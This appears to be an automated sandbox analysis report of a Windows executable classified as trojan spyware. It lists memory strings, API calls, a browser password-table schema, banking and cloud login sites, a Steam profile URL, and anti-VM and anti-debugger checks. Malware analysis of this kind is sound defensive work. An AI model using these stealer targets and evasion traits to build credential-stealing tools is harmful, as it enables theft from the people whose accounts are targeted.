Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002794000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/-
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199609719039
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Gj8P0mbklo.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199609719039
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002794000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199609719039(
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199609719039/badges
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199609719039/inventory/
Source: Gj8P0mbklo.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199609719039/ujs/strwvfncostrbrCHbrGk
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002794000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199609719039B
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 23.61.62.148:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.13.203:443 -> 192.168.2.6:49700 version: TLS 1.2

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00373C10 NtCreateFile,GetProcessHeap,RtlAllocateHeap,NtReadFile,	0_2_00373C10
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0036BCD0 NtQuerySystemInformation,	0_2_0036BCD0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0036BE50 NtQuerySystemInformation,	0_2_0036BE50

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003648B3	0_2_003648B3
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00370940	0_2_00370940
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003701C0	0_2_003701C0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00355340	0_2_00355340
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0036B4B0	0_2_0036B4B0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0036C490	0_2_0036C490
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00356560	0_2_00356560
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00359630	0_2_00359630
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0035CE40	0_2_0035CE40
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00356F10	0_2_00356F10
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0035D7D0	0_2_0035D7D0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00368030	0_2_00368030
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00367820	0_2_00367820
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0036A070	0_2_0036A070
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0035D8C1	0_2_0035D8C1
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003558C0	0_2_003558C0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0038F109	0_2_0038F109
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003619F0	0_2_003619F0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0038E9E7	0_2_0038E9E7
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00377220	0_2_00377220
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00357A4E	0_2_00357A4E
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00357A49	0_2_00357A49
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00367290	0_2_00367290
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00351A80	0_2_00351A80
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00351310	0_2_00351310
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00370B19	0_2_00370B19
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0036A370	0_2_0036A370
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00368B80	0_2_00368B80
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00363BE3	0_2_00363BE3
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003683D0	0_2_003683D0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00353BC0	0_2_00353BC0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00367C30	0_2_00367C30
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0039142E	0_2_0039142E
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003524A0	0_2_003524A0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003634E0	0_2_003634E0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00363D20	0_2_00363D20
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00380564	0_2_00380564
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00354DB0	0_2_00354DB0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00351580	0_2_00351580
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00363E2C	0_2_00363E2C
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00373E50	0_2_00373E50
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00352EB0	0_2_00352EB0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003666E0	0_2_003666E0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0036A720	0_2_0036A720
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0038C720	0_2_0038C720
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00368770	0_2_00368770
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00354780	0_2_00354780
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0037BF8E	0_2_0037BF8E
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0037DFC0	0_2_0037DFC0

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: String function: 00375550 appears 42 times

Source: Gj8P0mbklo.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP

Source: classification engine

Classification label: mal84.troj.spyw.winEXE@1/2@2/2

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_003741E0 CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,Sleep,

0_2_003741E0

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199609719039[1].htm

Jump to behavior

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Command line argument: .I9

0_2_00394880

Source: Gj8P0mbklo.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Gj8P0mbklo.exe, 00000000.00000003.2127679527.0000000005125000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2108951092.00000000050BD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Gj8P0mbklo.exe	ReversingLabs: Detection: 57%
Source: Gj8P0mbklo.exe	Virustotal: Detection: 61%

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Gj8P0mbklo.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: Gj8P0mbklo.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00365C3B push 8B003961h; iretd		0_2_00365C40
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00394785 push ecx; ret		0_2_00394798

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003701C0 FindFirstFileA,PathMatchSpecA,	0_2_003701C0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_0035CE40 FindFirstFileA,FindNextFileA,Sleep,	0_2_0035CE40
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00389AFB FindFirstFileExW,	0_2_00389AFB

Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.000000000274E000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Gj8P0mbklo.exe, 00000000.00000003.2126302476.00000000050D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_00375363 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00375363

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_00374780 mov eax, dword ptr fs:[00000030h]

0_2_00374780

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_00370940 SHGetFolderPathA,SHGetFolderPathA,GetProcessHeap,HeapFree,Sleep,

0_2_00370940

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00374A1F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00374A1F
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00375363 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00375363
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_003754D5 SetUnhandledExceptionFilter,	0_2_003754D5
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: 0_2_00380DCC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00380DCC

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_0037517F cpuid

0_2_0037517F

